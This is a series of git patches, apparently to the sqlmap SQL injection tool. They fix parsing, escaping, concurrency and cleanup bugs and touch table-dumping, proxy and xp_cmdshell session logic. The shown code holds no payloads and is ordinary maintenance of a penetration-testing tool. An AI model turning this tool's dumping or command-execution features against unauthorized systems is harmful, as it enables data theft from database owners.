"", parameter)), retVal) if match: retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) else: @@ -677,6 +677,49 @@ def preprocessField(self, table, field): pass return retVal + @staticmethod + def _collapseFieldDelimiterSpace(query): + """ + Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside + single/double quoted string literals, so a comma-space inside a literal (e.g. in a + WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling + mirrors splitFields()/zeroDepthSearch(). + + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t") + 'SELECT a,b FROM t' + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'") + "SELECT a,b FROM t WHERE name='John, Jr'" + """ + + retVal = [] + quote = None + index = 0 + length = len(query) + + while index < length: + char = query[index] + if quote: + retVal.append(char) + if char == quote: + if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '') + retVal.append(query[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + retVal.append(char) + elif char == ',' and index + 1 < length and query[index + 1] == ' ': + retVal.append(',') # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + retVal.append(char) + index += 1 + + return "".join(retVal) + def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, @@ -705,7 +748,7 @@ def concatQuery(self, query, unpack=True): if unpack: concatenatedQuery = "" - query = query.replace(", ", ',') + query = self._collapseFieldDelimiterSpace(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) @@ -979,7 +1022,9 @@ def limitCondition(self, expression, dump=False): stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 - stopLimit = limitRegExp2.group(int(limitGroupStart)) + # Note: query2 (LIMIT without OFFSET) always has exactly one group (the + # count); using limitGroupStart here would IndexError for H2 (groupstart=2) + stopLimit = limitRegExp2.group(1) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): @@ -1281,7 +1326,10 @@ def whereQuery(self, query): if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) + # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a + # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not + # mistaken for the suffix and the WHERE is not spliced into the wrong place + match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I) if match: suffix = match.group(0) prefix = query[:-len(suffix)] diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index fa2976282f1..1606bc69a45 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -226,9 +226,19 @@ def _checkcache(self, index): self.cache = None if (self.cache and self.cache.index != index and self.cache.dirty): + old_filename = self.chunks[self.cache.index] filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every + # cross-chunk dirty flush orphans one temp file on disk and in self.filenames + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as f: diff --git a/lib/core/common.py b/lib/core/common.py index 938d9432b1d..5b04c9589f0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -50,6 +50,7 @@ from lib.core.compat import cmp from lib.core.compat import codecs_open from lib.core.compat import LooseVersion +from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import base64pickle @@ -1459,11 +1460,6 @@ def jsonMinimize(content): True """ - try: - data = json.loads(content) - except (ValueError, TypeError): - return None - lines = [] def _walk(obj, path): @@ -1477,7 +1473,14 @@ def _walk(obj, path): else: lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) - _walk(data, "") + # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on + # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return + # None so callers fall back to text comparison, rather than crashing the comparison thread + try: + data = json.loads(content) + _walk(data, "") + except (ValueError, TypeError, RecursionError): + return None return "\n".join(sorted(lines)) @@ -1892,7 +1895,9 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) + # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not + # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM (' input + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -2957,6 +2962,7 @@ def findLocalPort(ports): retVal = None for port in ports: + s = None try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) @@ -2968,10 +2974,11 @@ def findLocalPort(ports): except socket.error: pass finally: - try: - s.close() - except socket.error: - pass + if s is not None: + try: + s.close() + except socket.error: + pass return retVal @@ -4233,7 +4240,12 @@ def _(value): # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) + + # Note: guard against an empty needle (payload composed solely of word chars), as + # str.replace("", X) would insert X between every character and explode the page + _stripped = re.sub(r"\A\w+", "", payload) + if _stripped: + retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) @@ -4552,14 +4564,18 @@ def safeCSValue(value): 'foobar' >>> safeCSValue('foo\\rbar') '"foo\\rbar"' + >>> safeCSValue('foo"bar') == '"foo""bar"' + True """ retVal = value + # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an + # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose + # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"') if retVal and isinstance(retVal, six.string_types): - if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): - retVal = '"%s"' % retVal.replace('"', '""') + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): + retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -4591,8 +4607,6 @@ def randomizeParameterValue(value): retVal = value - retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) - def _replace_upper(match): original = match.group() while True: @@ -4614,9 +4628,15 @@ def _replace_digit(match): if candidate != original: return candidate - retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) - retVal = re.sub(r"[a-z]+", _replace_lower, retVal) - retVal = re.sub(r"[0-9]+", _replace_digit, retVal) + def _randomize(segment): + segment = re.sub(r"[A-Z]+", _replace_upper, segment) + segment = re.sub(r"[a-z]+", _replace_lower, segment) + segment = re.sub(r"[0-9]+", _replace_digit, segment) + return segment + + # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters; + # deleting (or randomizing) the %XX would change the value's decoded content and byte length + retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal)) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') @@ -4838,8 +4858,8 @@ def geturl(self): data = "" - for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)): - data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER) + for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)): + data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER) data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) @@ -4904,6 +4924,10 @@ def getHostHeader(url): >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' + >>> getHostHeader('http://[::1]:8080/vuln.php?id=1') + '[::1]:8080' + >>> getHostHeader('http://[::1]/vuln.php?id=1') + '[::1]' """ retVal = url @@ -4911,10 +4935,11 @@ def getHostHeader(url): if url: retVal = _urllib.parse.urlparse(url).netloc - if re.search(r"http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) - elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): - retVal = retVal.split(':')[0] + # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are + # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports + # (e.g. '[::1]:8080') as required by RFC 7230 + if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal @@ -5010,7 +5035,14 @@ def incrementCounter(technique): Increments query counter for a given technique """ - kb.counters[technique] = getCounter(technique) + 1 + # Note: the read-modify-write must be atomic since worker threads increment concurrently; + # guard with the shared 'count' lock when available (it is absent in isolated/doctest use) + lock = kb.locks.count if kb.get("locks") else None + if lock is not None: + with lock: + kb.counters[technique] = getCounter(technique) + 1 + else: + kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ @@ -5541,8 +5573,10 @@ def _parseBurpLog(content): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") - # Note: overriding values with --headers '...' - match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + # Note: overriding values with --headers '...'; the lookbehind prevents the key + # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host' + # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header + match = re.search(r"(?i)(?' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL + values.append(None) + else: + values.append(getUnicode(info["values"][i])) maxlength = int(info["length"]) blank = " " * (maxlength - getConsoleLength(value)) @@ -708,8 +716,8 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") - elif conf.dumpFormat == DUMP_FORMAT.CSV: - dataToDumpFile(dumpFP, "\n") + # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise + # the file ends with a blank line and a later --start/--stop append injects an empty record dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) diff --git a/lib/core/option.py b/lib/core/option.py index f1a6882936f..6644cf08e8b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -438,19 +438,27 @@ def __next__(self): return self.next() def next(self): - try: - line = next(conf.stdinPipe) - except (IOError, OSError, TypeError, UnicodeDecodeError): - line = None - - if line: - match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) - if match: - return (match.group(0), conf.method, conf.data, conf.cookie, None) - elif self.__rest: - return self.__rest.pop() - - raise StopIteration() + while True: + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + except StopIteration: + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + # Note: a non-empty line that is not a target (blank line, comment, + # non-parameterized URL) must be skipped, not treated as end-of-input + continue + + # end-of-input (or read error): drain any queued targets, then stop + if self.__rest: + return self.__rest.pop() + + raise StopIteration() def add(self, elem): self.__rest.add(elem) @@ -1402,7 +1410,9 @@ def _setHTTPAuthentication(): conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return elif authType == AUTH_TYPE.NTLM: - regExp = "^(.*\\\\.*):(.*?)$" + # Note: the DOMAIN\username part is colon-free, so the password group takes the full + # remainder (a greedy first group would otherwise swallow colons inside the password) + regExp = "^([^:]*\\\\[^:]*):(.*)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: @@ -1460,14 +1470,14 @@ def _setHTTPExtraHeaders(): if not headerValue.strip(): continue - if headerValue.count(':') >= 1: + if headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] + elif headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) - elif headerValue.startswith('@'): - checkFile(headerValue[1:]) - kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -2520,9 +2530,11 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): - _, type_, address, port = match.groups() - conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format + # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, cred, address, port = match.groups() + conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) def _setTorProxySettings(): if not conf.tor: @@ -2845,7 +2857,7 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: - errMsg = "option '--csrf-url' is incompatible with option '--threads'" + errMsg = "option '--csrf-token' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: diff --git a/lib/core/settings.py b/lib/core/settings.py index b34db55c2b3..5b04f6bc8b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.143" +VERSION = "1.10.6.144" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -369,7 +369,7 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES)) @@ -1048,6 +1048,11 @@ globals()[_] = int(value) except ValueError: pass + elif isinstance(original, float): + try: + globals()[_] = float(value) + except ValueError: + pass elif isinstance(original, (list, tuple)): globals()[_] = [__.strip() for __ in value.split(',')] else: diff --git a/lib/core/shell.py b/lib/core/shell.py index b4ae92ab3eb..8fde1456409 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -40,6 +40,9 @@ def global_matches(self, text): except: readline._readline = None +_atexitRegistered = False +_activeCompletion = None + def readlineAvailable(): """ Check if the readline is available. By default @@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None): readline.parse_and_bind("tab: complete") loadHistory(completion) - atexit.register(saveHistory, completion) + + # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the + # currently active shell. Registering a fresh atexit handler per call would make every shell + # write that one global buffer to its own path at exit, clobbering the others. Instead register + # a single handler that saves only the shell active at exit. + global _atexitRegistered, _activeCompletion + _activeCompletion = completion + if not _atexitRegistered: + atexit.register(lambda: saveHistory(_activeCompletion)) + _atexitRegistered = True diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 97bac9bb26d..a8c867a5dd9 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -199,4 +199,9 @@ def send_all(p, data): sent = p.send(data) if not isinstance(sent, int): break + if sent == 0: + # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable; + # back off briefly instead of busy-spinning at 100% CPU until the child drains it + time.sleep(0.01) + continue data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index 74d9d7adbbc..b6666807fd3 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -412,7 +412,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -473,7 +473,9 @@ def _resumeHashDBValues(): kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings - kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed + # "False" is a truthy string and would wrongly mark xp_cmdshell as available + kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): @@ -619,7 +621,8 @@ def _createFilesDir(): if not any((conf.fileRead, conf.commonFiles)): return - conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) + conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname)) if not os.path.isdir(conf.filePath): try: @@ -641,7 +644,9 @@ def _createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) + # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a + # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.dumpPath): try: diff --git a/lib/core/testing.py b/lib/core/testing.py index 0969c0eab9e..a1773789c4e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -11,6 +11,7 @@ import os import random import re +import shutil import socket import sqlite3 import subprocess @@ -212,6 +213,7 @@ def _thread(): if "" in cmd: handle, tmp = tempfile.mkstemp() os.close(handle) + cleanups.append(tmp) cmd = cmd.replace("", tmp) os.environ["SQLMAP_UNSAFE_EVAL"] = '1' @@ -237,6 +239,11 @@ def _thread(): except: pass + try: + shutil.rmtree(tmpdir) + except: + pass + return retVal def apiTest(): diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py index 24ee9d6fd1c..dfa27ab27ae 100644 --- a/tests/test_identifiers_output.py +++ b/tests/test_identifiers_output.py @@ -60,15 +60,22 @@ class TestSafeCSValue(unittest.TestCase): ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted ('he"y', '"he""y"'), # contains quote -> doubled + wrapped ("a\nb", '"a\nb"'), # contains newline -> quoted + ('"a","b"', '"""a"",""b"""'), # value that begins+ends with a quote must STILL be escaped + ('"', '""""'), # lone quote -> doubled + wrapped ] def test_table(self): for inp, expected in self.CASES: self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) - def test_idempotent_on_already_quoted(self): - once = safeCSValue("a,b") - self.assertEqual(safeCSValue(once), once) # already starts+ends with quote -> unchanged + def test_csv_roundtrip(self): + # the real invariant: a dumped cell must come back as exactly ONE field with its original + # content (a value that begins+ends with '"' must not be emitted verbatim - that splits it) + import csv + for value in ("foobar", "foo,bar", 'he"y', '"a","b"', '"', 'a"b"c'): + line = safeCSValue(value) + fields = next(csv.reader([line])) # csv.reader accepts any iterable of text lines (py2+py3) + self.assertEqual(fields, [value], msg="round-trip failed for %r -> %r" % (value, line)) # (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) From f5ee4028e4868670266d1c658c9a58d2851a354a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:19:55 +0200 Subject: [PATCH 600/853] Fixes CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_dns_engine.py | 23 ++++++++++++++++++----- 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 81998aae815..85fb9356ea6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -61354a9fbf94b67744b3a850475ff8ec7408979f23e2709d1f15b4642021d673 lib/core/settings.py +c041ad865180b79c4b3e798530638d00ca1f9fa14e4c9e1506a2bf7c8c811b9f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -587,7 +587,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns_engine.py +7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py 703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5b04f6bc8b7..4c57af444e0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.144" +VERSION = "1.10.6.145" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index efb2ac8819f..bce8bff6a81 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -52,8 +52,6 @@ import lib.techniques.dns.use as dnsmod import lib.techniques.dns.test as dnstestmod -DNS_PORT = 5355 - def _build_query(name, tid=b"\x12\x34"): pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" for label in name.split("."): @@ -63,15 +61,23 @@ def _build_query(name, tid=b"\x12\x34"): class _HighPortDNSServer(DNSServer): # same logic as the real server (parse/pop/run), just bound high so no root is needed - def __init__(self, port): + def __init__(self, port=0): self._requests = [] self._lock = threading.Lock() self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("127.0.0.1", port)) + self.port = self._socket.getsockname()[1] self._running = False self._initialized = False + def close(self): + self._running = False + try: + 